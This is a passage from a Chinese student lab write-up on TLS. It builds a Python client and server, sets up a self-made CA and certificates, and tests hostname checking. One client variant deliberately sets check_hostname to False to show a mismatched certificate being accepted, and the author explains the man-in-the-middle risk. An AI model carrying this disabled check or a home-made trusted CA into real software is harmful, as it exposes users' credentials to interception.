context.load_verify_locations(capath='./certs')

在这种 capath 模式下,OpenSSL 会根据证书 subject 的哈希值来查找 CA 证书,因此必须为证书创建以哈希值命名的符号链接。

给所有全部建 hash 链接:

for f in ./certs/YE1.pem ./certs/Root_YE.pem ./certs/ISRG_Root_X2.pem ./certs/ISRG_Root_X1.pem; do
    h=$(openssl x509 -in "$f" -noout -subject_hash)
    base=$(basename "$f")
    ln -sf "$base" "./certs/${h}.0"
done
[06/13/26]seed@VM:~/Experiment05$ for f in ./certs/YE1.pem ./certs/Root_YE.pem ./certs/ISRG_Root_X2.pem ./certs/ISRG_Root_X1.pem; do
>     h=$(openssl x509 -in "$f" -noout -subject_hash)
>     base=$(basename "$f")
>     ln -sf "$base" "./certs/${h}.0"
> done
[06/13/26]seed@VM:~/Experiment05$ ls certs
0b9bc432.0  1a416bbd.0  4042bcee.0  8ed85ee6.0  ISRG_Root_X1.pem  ISRG_Root_X2.pem  Root_YE.pem  YE1.pem
[06/13/26]seed@VM:~/Experiment05$

再次运行./handshake.py

[06/13/26]seed@VM:~/Experiment05$ ./handshake.py www.vaultattic.cn
目标服务器: www.vaultattic.cn
目标端口: 443
CA 证书目录: ./certs

正在建立 TCP 连接...
TCP 连接已建立,按回车开始 TLS 握手...

正在进行 TLS 握手...
TLS 握手完成。

使用的 TLS 协议版本:
TLSv1.3

客户端和服务器使用的加密套件:
('TLS_AES_256_GCM_SHA384', 'TLSv1.3', 256)

加密套件说明:
加密套件名称: TLS_AES_256_GCM_SHA384
协议版本: TLSv1.3
密钥长度: 256 bit

服务器证书信息:
{'caIssuers': ('http://ye1.i.lencr.org/',),
 'crlDistributionPoints': ('http://ye1.c.lencr.org/44.crl',),
 'issuer': ((('countryName', 'US'),),
            (('organizationName', "Let's Encrypt"),),
            (('commonName', 'YE1'),)),
 'notAfter': 'Sep  7 15:02:05 2026 GMT',
 'notBefore': 'Jun  9 15:02:06 2026 GMT',
 'serialNumber': '06379B33941856816CC8A85FE9A2A71D572B',
 'subject': ((('commonName', '*.vaultattic.cn'),),),
 'subjectAltName': (('DNS', '*.vaultattic.cn'),),
 'version': 3}

TLS 握手已完成,按回车关闭连接...
连接已关闭。
[06/13/26]seed@VM:~/Experiment05$

成功🥰。

3.3 任务 1.c: 主机名检查

只验证证书是不是可信 CA 签发还不够,还必须验证证书是不是发给你当前访问的主机名的。

查询 www.vaultattic.cn 的 IP 地址:

dig www.vaultattic.cn
[06/16/26]seed@VM:~/Experiment05$ dig www.vaultattic.cn

; <<>> DiG 9.16.1-Ubuntu <<>> www.vaultattic.cn
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 46594
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:
;www.vaultattic.cn.             IN      A

;; ANSWER SECTION:
www.vaultattic.cn.      593     IN      A       124.221.143.80

;; Query time: 0 msec
;; SERVER: 127.0.0.53#53(127.0.0.53)
;; WHEN: Tue Jun 16 08:51:10 EDT 2026
;; MSG SIZE  rcvd: 62

[06/16/26]seed@VM:~/Experiment05$

找到 ANSWER SECTION 后面的输出内容,得到 www.vaultattic.cn 的 IP 地址为 124.221.143.80

编造一个主机名,比如将 www.vaultattic2026.con 这个错误的主机名解析为 124.221.143.80

[06/14/26]seed@VM:~/Experiment05$ sudo vim /etc/hosts

末尾添加一行:

124.221.143.80 www.vaultattic2026.cn

F4XleUzg-4.png

把之前实验中修改 handshake.py 证书目录的代码改回系统目录即将 cadir = './certs' 改回一开始的 cadir = '/etc/ssl/certs'

[06/14/26]seed@VM:~/Experiment05$ vim handshake.py
#!/usr/bin/env python3

import socket
import ssl
import sys
import pprint

hostname = sys.argv[1]
port = 443
cadir = '/etc/ssl/certs'

# 创建 TLS 客户端上下文
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)

# 加载系统可信 CA 证书
context.load_verify_locations(capath=cadir)

# 要求验证服务器证书,并检查证书域名
context.verify_mode = ssl.CERT_REQUIRED
context.check_hostname = True

print("目标服务器:", hostname)
print("目标端口:", port)
print("CA 证书目录:", cadir)

# 创建 TCP socket,并连接服务器
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("\n正在建立 TCP 连接...")
sock.connect((hostname, port))

input("TCP 连接已建立,按回车开始 TLS 握手...")

# 将 TCP socket 包装成 TLS socket,但暂不自动握手
ssock = context.wrap_socket(
    sock,
    server_hostname=hostname,
    do_handshake_on_connect=False
)

# 开始 TLS 握手
print("\n正在进行 TLS 握手...")
ssock.do_handshake()
print("TLS 握手完成。")

# 输出 TLS 版本
print("\n使用的 TLS 协议版本:")
print(ssock.version())

# 输出加密套件
print("\n客户端和服务器使用的加密套件:")
cipher = ssock.cipher()
print(cipher)

print("\n加密套件说明:")
print("加密套件名称:", cipher[0])
print("协议版本:", cipher[1])
print("密钥长度:", cipher[2], "bit")

# 输出服务器证书
print("\n服务器证书信息:")
cert = ssock.getpeercert()
pprint.pprint(cert)

input("\nTLS 握手已完成,按回车关闭连接...")

# 关闭连接
ssock.shutdown(socket.SHUT_RDWR)
ssock.close()

print("连接已关闭。")

再次运行 handshake.py 程序:

[06/16/26]seed@VM:~/Experiment05$ ./handshake.py www.vaultattic2026.cn
目标服务器: www.vaultattic2026.cn
目标端口: 443
CA 证书目录: /etc/ssl/certs

正在建立 TCP 连接...
TCP 连接已建立,按回车开始 TLS 握手...

正在进行 TLS 握手...
Traceback (most recent call last):
  File "./handshake.py", line 42, in <module>
    ssock.do_handshake()
  File "/usr/lib/python3.8/ssl.py", line 1309, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLError: [SSL: TLSV1_ALERT_INTERNAL_ERROR] tlsv1 alert internal error (_ssl.c:1123)
[06/16/26]seed@VM:~/Experiment05$

奇怪的是虽然报错了,但报错原因并不是因为主机名,sslv3 alert handshake failure 表示直接拒绝了握手,后来查询发现是由于 SNI 的问题。

SNI(Server Name Indication,服务器名称指示) 它是 TLS 握手里的一个扩展字段。客户端在 TLS 握手开始时,会在 ClientHello 消息中通过 SNI 告诉服务器自己想访问哪个域名,比如上面在建立链接时就会告诉服务器我想访问的是 www.vaultattic2026.cn

现在网站都是多个域名共享同一个 IP,如果没有 SNI,客户端连接到某个 IP 后,服务器并不知道客户端到底想访问哪个网站,也就不知道应该返回哪一张证书。

这次实验失败就是因为 SNI。虽然把 www.vaultattic2026.cn 指向了 www.vaultattic.cn 的 IP,但是 www.vaultattic.cn 的服务器还是会根据客户端发送的 SNI 来判断应该使用哪个网站的证书。

所以当 www.vaultattic.cn 服务器收到 SNI = www.vaultattic2026.cn 时,它发现自己没有这个域名的 TLS 配置,所以在发送证书之前就终止了握手。因此程序报错:sslv3 alert handshake failure

而任务书中给出的例子能成功,是因为 www.example.com 并没有 SNI 验证,哪怕使用了错误的主机名也会返回 www.example.com 的证书,这样当 check_hostname=False 时,因为不检查主机名,所以连接成功。

实际上现在 www.example.com 这个域名现在也添加了 SNI 验证了,这个任务书年份都是 2020 年的了,所以如果尝试使用任务书中的例子也依旧会失败。

任务书里写的 www.example.com 的 IP 是 93.184.216.34 但你使用 dig www.example.com 会发现 IP 不是这个,我查了一下,www.example.com 这个网站现在挂到了 Cloudflare 上,应该是易主过了。

如果要成功完成这个实验,我找了一个专门用于 TLS 测试的网站:wrong.host.badssl.com

wrong.host.badssl.com 会返回一个由可信 CA 签发、但主机名不匹配的证书。

所以直接对这个网站执行 handshake.py

./handshake.py wrong.host.badssl.com
[06/14/26]seed@VM:~/Experiment05$ ./handshake.py wrong.host.badssl.com
目标服务器: wrong.host.badssl.com
目标端口: 443
CA 证书目录: /etc/ssl/certs

正在建立 TCP 连接...
TCP 连接已建立,按回车开始 TLS 握手...

正在进行 TLS 握手...
Traceback (most recent call last):
  File "./handshake.py", line 42, in <module>
    ssock.do_handshake()
  File "/usr/lib/python3.8/ssl.py", line 1309, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: Hostname mismatch, certificate is not valid for 'wrong.host.badssl.com'. (_ssl.c:1123)
[06/14/26]seed@VM:~/Experiment05$

报错 Hostname mismatch, certificate is not valid for 'wrong.host.badssl.com' 表示主机名错误,符合预期。

现在修改 handshake.py,将主机名验证 context.check_hostname = True 字段改为 False

[06/14/26]seed@VM:~/Experiment05$ vim handshake.py
#!/usr/bin/env python3

import socket
import ssl
import sys
import pprint

hostname = sys.argv[1]
port = 443
cadir = '/etc/ssl/certs'

# 创建 TLS 客户端上下文
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)

# 加载系统可信 CA 证书
context.load_verify_locations(capath=cadir)

# 要求验证服务器证书,并检查证书域名
context.verify_mode = ssl.CERT_REQUIRED
context.check_hostname = False

print("目标服务器:", hostname)
print("目标端口:", port)
print("CA 证书目录:", cadir)

# 创建 TCP socket,并连接服务器
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("\n正在建立 TCP 连接...")
sock.connect((hostname, port))

input("TCP 连接已建立,按回车开始 TLS 握手...")

# 将 TCP socket 包装成 TLS socket,但暂不自动握手
ssock = context.wrap_socket(
    sock,
    server_hostname=hostname,
    do_handshake_on_connect=False
)

# 开始 TLS 握手
print("\n正在进行 TLS 握手...")
ssock.do_handshake()
print("TLS 握手完成。")

# 输出 TLS 版本
print("\n使用的 TLS 协议版本:")
print(ssock.version())

# 输出加密套件
print("\n客户端和服务器使用的加密套件:")
cipher = ssock.cipher()
print(cipher)

print("\n加密套件说明:")
print("加密套件名称:", cipher[0])
print("协议版本:", cipher[1])
print("密钥长度:", cipher[2], "bit")

# 输出服务器证书
print("\n服务器证书信息:")
cert = ssock.getpeercert()
pprint.pprint(cert)

input("\nTLS 握手已完成,按回车关闭连接...")

# 关闭连接
ssock.shutdown(socket.SHUT_RDWR)
ssock.close()

print("连接已关闭。")

再次运行 handshake.py

[06/14/26]seed@VM:~/Experiment05$ ./handshake.py wrong.host.badssl.com
目标服务器: wrong.host.badssl.com
目标端口: 443
CA 证书目录: /etc/ssl/certs

正在建立 TCP 连接...
TCP 连接已建立,按回车开始 TLS 握手...

正在进行 TLS 握手...
TLS 握手完成。

使用的 TLS 协议版本:
TLSv1.2

客户端和服务器使用的加密套件:
('ECDHE-RSA-AES128-GCM-SHA256', 'TLSv1.2', 128)

加密套件说明:
加密套件名称: ECDHE-RSA-AES128-GCM-SHA256
协议版本: TLSv1.2
密钥长度: 128 bit

服务器证书信息:
{'caIssuers': ('http://r13.i.lencr.org/',),
 'crlDistributionPoints': ('http://r13.c.lencr.org/52.crl',),
 'issuer': ((('countryName', 'US'),),
            (('organizationName', "Let's Encrypt"),),
            (('commonName', 'R13'),)),
 'notAfter': 'Aug 24 20:02:49 2026 GMT',
 'notBefore': 'May 26 20:02:50 2026 GMT',
 'serialNumber': '0533DC28B318A1E111898DF9309AFBED3633',
 'subject': ((('commonName', '*.badssl.com'),),),
 'subjectAltName': (('DNS', '*.badssl.com'), ('DNS', 'badssl.com')),
 'version': 3}

TLS 握手已完成,按回车关闭连接...
连接已关闭。
[06/14/26]seed@VM:~/Experiment05$

成功运行😋。

主机名检查的重要性

如果客户端不进行主机名检查,那么只要服务器提供的证书是由可信 CA 签发的,客户端就可能接受该证书,即使证书中的域名并不是客户端真正想访问的域名。

这样会带来严重的安全风险。例如攻击者可以通过 DNS 欺骗、修改 hosts 文件或中间人攻击等方式,将用户访问的域名重定向到另一个服务器。如果客户端关闭主机名检查,而该服务器拥有一个合法证书,客户端就可能误以为连接是安全的,从而把账号、密码、Cookie 或其他敏感信息发送给错误的服务器。

3.4 任务 1.d: 发送和接收数据

handshake.py 加入发送和接收 HTTP 数据的代码:

[06/14/26]seed@VM:~/Experiment05$ vim handshake.py
#!/usr/bin/env python3

import socket
import ssl
import sys
import pprint

hostname = sys.argv[1]
port = 443
cadir = '/etc/ssl/certs'

# 创建 TLS 客户端上下文
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)

# 加载系统可信 CA 证书
context.load_verify_locations(capath=cadir)

# 要求验证服务器证书,并检查证书域名
context.verify_mode = ssl.CERT_REQUIRED
context.check_hostname = True

print("目标服务器:", hostname)
print("目标端口:", port)
print("CA 证书目录:", cadir)

# 创建 TCP socket,并连接服务器
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("\n正在建立 TCP 连接...")
sock.connect((hostname, port))

input("TCP 连接已建立,按回车开始 TLS 握手...")

# 将 TCP socket 包装成 TLS socket
ssock = context.wrap_socket(
    sock,
    server_hostname=hostname,
    do_handshake_on_connect=False
)

# 开始 TLS 握手
print("\n正在进行 TLS 握手...")
ssock.do_handshake()
print("TLS 握手完成。")

# 输出 TLS 版本
print("\n使用的 TLS 协议版本:")
print(ssock.version())

# 输出加密套件
print("\n客户端和服务器使用的加密套件:")
cipher = ssock.cipher()
print(cipher)

# 输出服务器证书
print("\n服务器证书信息:")
cert = ssock.getpeercert()
pprint.pprint(cert)

input("\n准备发送 HTTP 请求,按回车继续...")

# 构造 HTTP 请求
request = (
    b"GET / HTTP/1.0\r\n" +
    b"Host: " + hostname.encode("utf-8") + b"\r\n" +
    b"\r\n"
)

print("\n发送的 HTTP 请求为:")
print(request.decode())

# 通过 TLS 连接发送 HTTP 请求
ssock.sendall(request)

print("HTTP 请求已发送,正在接收服务器响应...\n")

# 接收服务器响应
response = ssock.recv(2048)

while response:
    pprint.pprint(response.split(b"\r\n"))
    response = ssock.recv(2048)

print("\n服务器响应接收完毕。")

# 关闭 TLS 连接
ssock.shutdown(socket.SHUT_RDWR)
ssock.close()

print("连接已关闭。")

运行 handshake.py

[06/14/26]seed@VM:~/Experiment05$ ./handshake.py wrong.host.badssl.com
目标服务器: wrong.host.badssl.com
目标端口: 443
CA 证书目录: /etc/ssl/certs

正在建立 TCP 连接...
TCP 连接已建立,按回车开始 TLS 握手...

正在进行 TLS 握手...
TLS 握手完成。

使用的 TLS 协议版本:
TLSv1.2

客户端和服务器使用的加密套件:
('ECDHE-RSA-AES128-GCM-SHA256', 'TLSv1.2', 128)

加密套件说明:
加密套件名称: ECDHE-RSA-AES128-GCM-SHA256
协议版本: TLSv1.2
密钥长度: 128 bit

服务器证书信息:
{'caIssuers': ('http://r13.i.lencr.org/',),
 'crlDistributionPoints': ('http://r13.c.lencr.org/52.crl',),
 'issuer': ((('countryName', 'US'),),
            (('organizationName', "Let's Encrypt"),),
            (('commonName', 'R13'),)),
 'notAfter': 'Aug 24 20:02:49 2026 GMT',
 'notBefore': 'May 26 20:02:50 2026 GMT',
 'serialNumber': '0533DC28B318A1E111898DF9309AFBED3633',
 'subject': ((('commonName', '*.badssl.com'),),),
 'subjectAltName': (('DNS', '*.badssl.com'), ('DNS', 'badssl.com')),
 'version': 3}

TLS 握手已完成,按回车关闭连接...
连接已关闭。
[06/14/26]seed@VM:~/Experiment05$ ./handshake.py www.vaultattic.cn
目标服务器: www.vaultattic.cn
目标端口: 443
CA 证书目录: /etc/ssl/certs

正在建立 TCP 连接...
TCP 连接已建立,按回车开始 TLS 握手...

正在进行 TLS 握手...
TLS 握手完成。

使用的 TLS 协议版本:
TLSv1.3

客户端和服务器使用的加密套件:
('TLS_AES_256_GCM_SHA384', 'TLSv1.3', 256)

服务器证书信息:
{'caIssuers': ('http://ye1.i.lencr.org/',),
 'crlDistributionPoints': ('http://ye1.c.lencr.org/44.crl',),
 'issuer': ((('countryName', 'US'),),
            (('organizationName', "Let's Encrypt"),),
            (('commonName', 'YE1'),)),
 'notAfter': 'Sep  7 15:02:05 2026 GMT',
 'notBefore': 'Jun  9 15:02:06 2026 GMT',
 'serialNumber': '06379B33941856816CC8A85FE9A2A71D572B',
 'subject': ((('commonName', '*.vaultattic.cn'),),),
 'subjectAltName': (('DNS', '*.vaultattic.cn'),),
 'version': 3}

准备发送 HTTP 请求,按回车继续...

发送的 HTTP 请求为:
GET / HTTP/1.0
Host: www.vaultattic.cn


HTTP 请求已发送,正在接收服务器响应...

......

服务器响应接收完毕。
连接已关闭。
[06/14/26]seed@VM:~/Experiment05$

4 任务 2: TLS服务器

4.1 任务 2.a: 实现一个简单的 TLS 服务器

服务器部署在 server-10.9.0.43 容器中,在客户端容器 client-10.9.0.5 中访问,域名为 vaultattic2026.cn/home/seed/Experiment05/Labsetup/volumes 为容器的共享文件夹。

[06/14/26]seed@VM:~/Experiment05$ docker ps
CONTAINER ID        IMAGE                                COMMAND                  CREATED             STATUS              PORTS               NAMES
75c146f25aac        handsonsecurity/seed-ubuntu:medium   "/bin/sh -c /bin/bash"   7 days ago          Up 7 days                               server-10.9.0.43
f17aa82577d1        handsonsecurity/seed-ubuntu:medium   "/bin/sh -c /bin/bash"   7 days ago          Up 7 days                               mitm-proxy-10.9.0.143
56ad16f374cd        handsonsecurity/seed-ubuntu:medium   "/bin/sh -c /bin/bash"   7 days ago          Up 7 days                               client-10.9.0.5
[06/14/26]seed@VM:~/Experiment05$ cd Labsetup/volumes/
[06/14/26]seed@VM:~/.../volumes$

将验证程序 handshake.py 放到共享目录中:

[06/14/26]seed@VM:~/.../volumes$ cp ~/Experiment05/handshake.py .
[06/14/26]seed@VM:~/.../volumes$

创建 CA 私钥和自签名证书:

openssl req -x509 -newkey rsa:2048 -sha256 -days 3650 \
    -keyout client-certs/ca.key \
    -out client-certs/ca.crt \
    -subj "/C=US/ST=NewYork/L=Syracuse/O=SEEDLab/CN=Vaultattic Test CA" \
    -nodes
[06/14/26]seed@VM:~/.../volumes$ openssl req -x509 -newkey rsa:2048 -sha256 -days 3650 \
>     -keyout client-certs/ca.key \
>     -out client-certs/ca.crt \
>     -subj "/C=US/ST=NewYork/L=Syracuse/O=SEEDLab/CN=Vaultattic Test CA" \
>     -nodes
Generating a RSA private key
......................................................................................................................................................................................................................................................................................+++++
........................+++++
writing new private key to 'client-certs/ca.key'
-----
[06/14/26]seed@VM:~/.../volumes$ ls client-certs/
ca.crt  ca.key  README.md
[06/14/26]seed@VM:~/.../volumes$
  • ca.key:CA 私钥
  • ca.crt:CA 公钥证书

创建服务器证书配置文件:

[06/14/26]seed@VM:~/.../volumes$ vim server_openssl.cnf
[req]
prompt = no
distinguished_name = req_distinguished_name
req_extensions = req_ext

[req_distinguished_name]
C = US
ST = NewYork
L = Syracuse
O = SEEDLab
CN = vaultattic2026.cn

[req_ext]
subjectAltName = @alt_names

[alt_names]
DNS.1 = vaultattic2026.cn

生成服务器私钥和证书签名请求:

openssl req -newkey rsa:2048 \
    -config ./server_openssl.cnf \
    -batch \
    -sha256 \
    -keyout server-certs/server.key \
    -out server-certs/server.csr \
    -nodes
[06/14/26]seed@VM:~/.../volumes$ openssl req -newkey rsa:2048 \
>     -config ./server_openssl.cnf \
>     -batch \
>     -sha256 \
>     -keyout server-certs/server.key \
>     -out server-certs/server.csr \
>     -nodes
Generating a RSA private key
.................................................................................+++++
........................................................................+++++
writing new private key to 'server-certs/server.key'
-----
[06/14/26]seed@VM:~/.../volumes$ ls server-certs/
README.md  server.csr  server.key
[06/14/26]seed@VM:~/.../volumes$

使用自建 CA 签发服务器证书:

openssl x509 -req \
    -in server-certs/server.csr \
    -CA client-certs/ca.crt \
    -CAkey client-certs/ca.key \
    -CAcreateserial \
    -out server-certs/server.crt \
    -days 3650 \
    -sha256 \
    -extensions req_ext \
    -extfile server_openssl.cnf
[06/14/26]seed@VM:~/.../volumes$ openssl x509 -req \
>     -in server-certs/server.csr \
>     -CA client-certs/ca.crt \
>     -CAkey client-certs/ca.key \
>     -CAcreateserial \
>     -out server-certs/server.crt \
>     -days 3650 \
>     -sha256 \
>     -extensions req_ext \
>     -extfile server_openssl.cnf
Signature ok
subject=C = US, ST = NewYork, L = Syracuse, O = SEEDLab, CN = vaultattic2026.cn
Getting CA Private Key
[06/14/26]seed@VM:~/.../volumes$

修改 server.py

[06/14/26]seed@VM:~/.../volumes$ vim server.py
#!/usr/bin/env python3

import socket
import ssl

html = """HTTP/1.1 200 OK\r
Content-Type: text/html\r
\r
<html>
<body>
<h1>Hello, world!</h1>
<p>This is vaultattic2026.cn TLS server.</p>
</body>
</html>
"""

SERVER_CERT = './server-certs/server.crt'
SERVER_PRIVATE = './server-certs/server.key'

context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(SERVER_CERT, SERVER_PRIVATE)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
sock.bind(('0.0.0.0', 443))
sock.listen(5)

print("TLS 服务器已启动,监听 443 端口...")

while True:
    newsock, fromaddr = sock.accept()
    print("收到连接:", fromaddr)

    try:
        ssock = context.wrap_socket(newsock, server_side=True)

        data = ssock.recv(1024)
        print("收到客户端请求:")
        print(data.decode(errors="ignore"))

        ssock.sendall(html.encode('utf-8'))

        ssock.shutdown(socket.SHUT_RDWR)
        ssock.close()

    except Exception as e:
        print("发生错误:", e)

使用 docker exec -it server-10.9.0.43 /bin/bash 进入 server-10.9.0.43 容器:

[06/14/26]seed@VM:~/.../volumes$ docker exec -it server-10.9.0.43 /bin/bash
root@75c146f25aac:/#

进入共享目录:

root@75c146f25aac:/# cd volumes/
root@75c146f25aac:/volumes#

使用 server.py 运行服务器:

root@75c146f25aac:/volumes# ./server.py
TLS 服务器已启动,监听 443 端口...

新建终端,使用 docker exec -it client-10.9.0.5 /bin/bash 进入客户端容器 client-10.9.0.5

[06/14/26]seed@VM:~/.../volumes$ docker exec -it client-10.9.0.5 /bin/bash
root@ccbd21aa15ba:/#

使用 echo "10.9.0.43 vaultattic2026.cn" >> /etc/hosts 将服务器域名解析写入 /etc/hosts 文件中:

root@ccbd21aa15ba:/# echo "10.9.0.43 vaultattic2026.cn" >> /etc/hosts
root@ccbd21aa15ba:/#

运行 handshake.py,进行测试:

root@ccbd21aa15ba:/# cd volumes/
root@ccbd21aa15ba:/volumes# ./handshake.py vaultattic2026.cn
目标服务器: vaultattic2026.cn
目标端口: 443
CA 证书目录: /etc/ssl/certs

正在建立 TCP 连接...
TCP 连接已建立,按回车开始 TLS 握手...

正在进行 TLS 握手...
Traceback (most recent call last):
  File "./handshake.py", line 42, in <module>
    ssock.do_handshake()
  File "/usr/lib/python3.8/ssl.py", line 1309, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:1123)
root@ccbd21aa15ba:/volumes#

报错是因为服务器证书是由实验中自建 CA 签发的,而该 CA 不在系统默认可信 CA 目录 /etc/ssl/certs 中,所以客户端无法验证服务器证书。

返回虚拟机终端,修改 handshake.pycadir = '/etc/ssl/certs' 改为 cadir = './client-certs'

[06/14/26]seed@VM:~/.../volumes$ vim handshake.py
#!/usr/bin/env python3

import socket
import ssl
import sys
import pprint

hostname = sys.argv[1]
port = 443
cadir = './client-certs'

# 创建 TLS 客户端上下文
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)

# 加载系统可信 CA 证书
context.load_verify_locations(capath=cadir)

# 要求验证服务器证书,并检查证书域名
context.verify_mode = ssl.CERT_REQUIRED
context.check_hostname = True

print("目标服务器:", hostname)
print("目标端口:", port)
print("CA 证书目录:", cadir)

# 创建 TCP socket,并连接服务器
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("\n正在建立 TCP 连接...")
sock.connect((hostname, port))

input("TCP 连接已建立,按回车开始 TLS 握手...")

# 将 TCP socket 包装成 TLS socket
ssock = context.wrap_socket(
    sock,
    server_hostname=hostname,
    do_handshake_on_connect=False
)

# 开始 TLS 握手
print("\n正在进行 TLS 握手...")
ssock.do_handshake()
print("TLS 握手完成。")

# 输出 TLS 版本
print("\n使用的 TLS 协议版本:")
print(ssock.version())

# 输出加密套件
print("\n客户端和服务器使用的加密套件:")
cipher = ssock.cipher()
print(cipher)

# 输出服务器证书
print("\n服务器证书信息:")
cert = ssock.getpeercert()
pprint.pprint(cert)

input("\n准备发送 HTTP 请求,按回车继续...")

# 构造 HTTP 请求
request = (
    b"GET / HTTP/1.0\r\n" +
    b"Host: " + hostname.encode("utf-8") + b"\r\n" +
    b"\r\n"
)

print("\n发送的 HTTP 请求为:")
print(request.decode())

# 通过 TLS 连接发送 HTTP 请求
ssock.sendall(request)

print("HTTP 请求已发送,正在接收服务器响应...\n")

# 接收服务器响应
response = ssock.recv(2048)

while response:
    pprint.pprint(response.split(b"\r\n"))
    response = ssock.recv(2048)

print("\n服务器响应接收完毕。")

# 关闭 TLS 连接
ssock.shutdown(socket.SHUT_RDWR)
ssock.close()

print("连接已关闭。")

为 CA 证书创建哈希符号链接:

hash=$(openssl x509 -in ./client-certs/ca.crt -noout -subject_hash)
ln -sf ca.crt ./client-certs/${hash}.0
[06/14/26]seed@VM:~/.../volumes$ hash=$(openssl x509 -in ./client-certs/ca.crt -noout -subject_hash)
[06/14/26]seed@VM:~/.../volumes$ ln -sf ca.crt ./client-certs/${hash}.0
[06/14/26]seed@VM:~/.../volumes$ ls client-certs/
8e95b653.0  ca.crt  ca.key  ca.srl  README.md
[06/14/26]seed@VM:~/.../volumes$

返回客户端容器终端,再次运行脚本:

root@ccbd21aa15ba:/volumes# ./handshake.py vaultattic2026.cn
目标服务器: vaultattic2026.cn
目标端口: 443
CA 证书目录: ./client-certs

正在建立 TCP 连接...
TCP 连接已建立,按回车开始 TLS 握手...

正在进行 TLS 握手...
TLS 握手完成。

使用的 TLS 协议版本:
TLSv1.3

客户端和服务器使用的加密套件:
('TLS_AES_256_GCM_SHA384', 'TLSv1.3', 256)

服务器证书信息:
{'issuer': ((('countryName', 'US'),),
            (('stateOrProvinceName', 'NewYork'),),
            (('localityName', 'Syracuse'),),
            (('organizationName', 'SEEDLab'),),
            (('commonName', 'Vaultattic Test CA'),)),
 'notAfter': 'Jun 11 13:31:39 2036 GMT',
 'notBefore': 'Jun 14 13:31:39 2026 GMT',
 'serialNumber': '4B7FA0768F38E6D5E7A1D0A7823767726DAB72E9',
 'subject': ((('countryName', 'US'),),
             (('stateOrProvinceName', 'NewYork'),),
             (('localityName', 'Syracuse'),),
             (('organizationName', 'SEEDLab'),),
             (('commonName', 'vaultattic2026.cn'),)),
 'subjectAltName': (('DNS', 'vaultattic2026.cn'),),
 'version': 3}

准备发送 HTTP 请求,按回车继续...

发送的 HTTP 请求为:
GET / HTTP/1.0
Host: vaultattic2026.cn


HTTP 请求已发送,正在接收服务器响应...

[b'HTTP/1.1 200 OK',
 b'Content-Type: text/html',
 b'',
 b'<html>\n<body>\n<h1>Hello, world!</h1>\n<p>This is vaultattic2026.cn TLS se'
 b'rver.</p>\n</body>\n</html>\n']

服务器响应接收完毕。
连接已关闭。
root@ccbd21aa15ba:/volumes#

运行成功。

4.2 任务 2.b: 使用浏览器测试服务器程序

返回虚拟机终端,编辑 /etc/hosts 文件,添加 vaultattic2026.cn 的域名解析。

[06/16/26]seed@VM:~/Experiment05$ sudo vim /etc/hosts

F4XleUzg-5.png

使用 VM 虚拟机的图形化页面,在 Firefox 浏览器中访问 vaultattic2026.cn

F4XleUzg-6.png

提示站点不安全。这是因为服务器证书由实验中自建 CA 签发,而 Firefox 默认不信任这个 CA。

下面将自建 CA 导入 Firefox。

在 Firefox 地址栏输入:

about:preferences#privacy

点击 View Certificates

F4XleUzg-7.png

选择 Authorities,点击 Import

F4XleUzg-8.png

将自建 CA /home/seed/Experiment05/Labsetup/volumes/client-certs/ca.crt 导入,勾选 Trust this CA to identify websites

F4XleUzg-9.png

再次在 Firefox 浏览器中访问 vaultattic2026.cn

F4XleUzg-10.png

访问成功。

4.3 任务 2.c: 有多个名字的证书

下面生成一张支持多个主机名的服务器证书。

将支持的域名设置为:

vaultattic2026.cn
www.vaultattic2026.cn
test.vaultattic2026.cn
*.bank32.com

修改 server_openssl.cnf

[06/16/26]seed@VM:~/.../volumes$ vim server_openssl.cnf
[req]
prompt = no
distinguished_name = req_distinguished_name
req_extensions = req_ext

[req_distinguished_name]
C = US
ST = NewYork
L = Syracuse
O = SEEDLab
CN = vaultattic2026.cn

[req_ext]
subjectAltName = @alt_names

[alt_names]
DNS.1 = vaultattic2026.cn
DNS.2 = www.vaultattic2026.cn
DNS.3 = test.vaultattic2026.cn
DNS.4 = *.bank32.com

重新生成服务器私钥和 CSR:

openssl req -newkey rsa:2048 \
    -config ./server_openssl.cnf \
    -batch \
    -sha256 \
    -keyout server-certs/server.key \
    -out server-certs/server.csr \
    -nodes
[06/16/26]seed@VM:~/.../volumes$ openssl req -newkey rsa:2048 \
>     -config ./server_openssl.cnf \
>     -batch \
>     -sha256 \
>     -keyout server-certs/server.key \
>     -out server-certs/server.csr \
>     -nodes
Generating a RSA private key
.+++++
...................+++++
writing new private key to 'server-certs/server.key'
-----
[06/16/26]seed@VM:~/.../volumes$

重新签发服务器证书:

openssl x509 -req \
    -in server-certs/server.csr \
    -CA client-certs/ca.crt \
    -CAkey client-certs/ca.key \
    -CAcreateserial \
    -out server-certs/server.crt \
    -days 3650 \
    -sha256 \
    -extensions req_ext \
    -extfile server_openssl.cnf
[06/16/26]seed@VM:~/.../volumes$ openssl x509 -req \
>     -in server-certs/server.csr \
>     -CA client-certs/ca.crt \
>     -CAkey client-certs/ca.key \
>     -CAcreateserial \
>     -out server-certs/server.crt \
>     -days 3650 \
>     -sha256 \
>     -extensions req_ext \
>     -extfile server_openssl.cnf
Signature ok
subject=C = US, ST = NewYork, L = Syracuse, O = SEEDLab, CN = vaultattic2026.cn
Getting CA Private Key
[06/16/26]seed@VM:~/.../volumes$

配置多个域名解析:

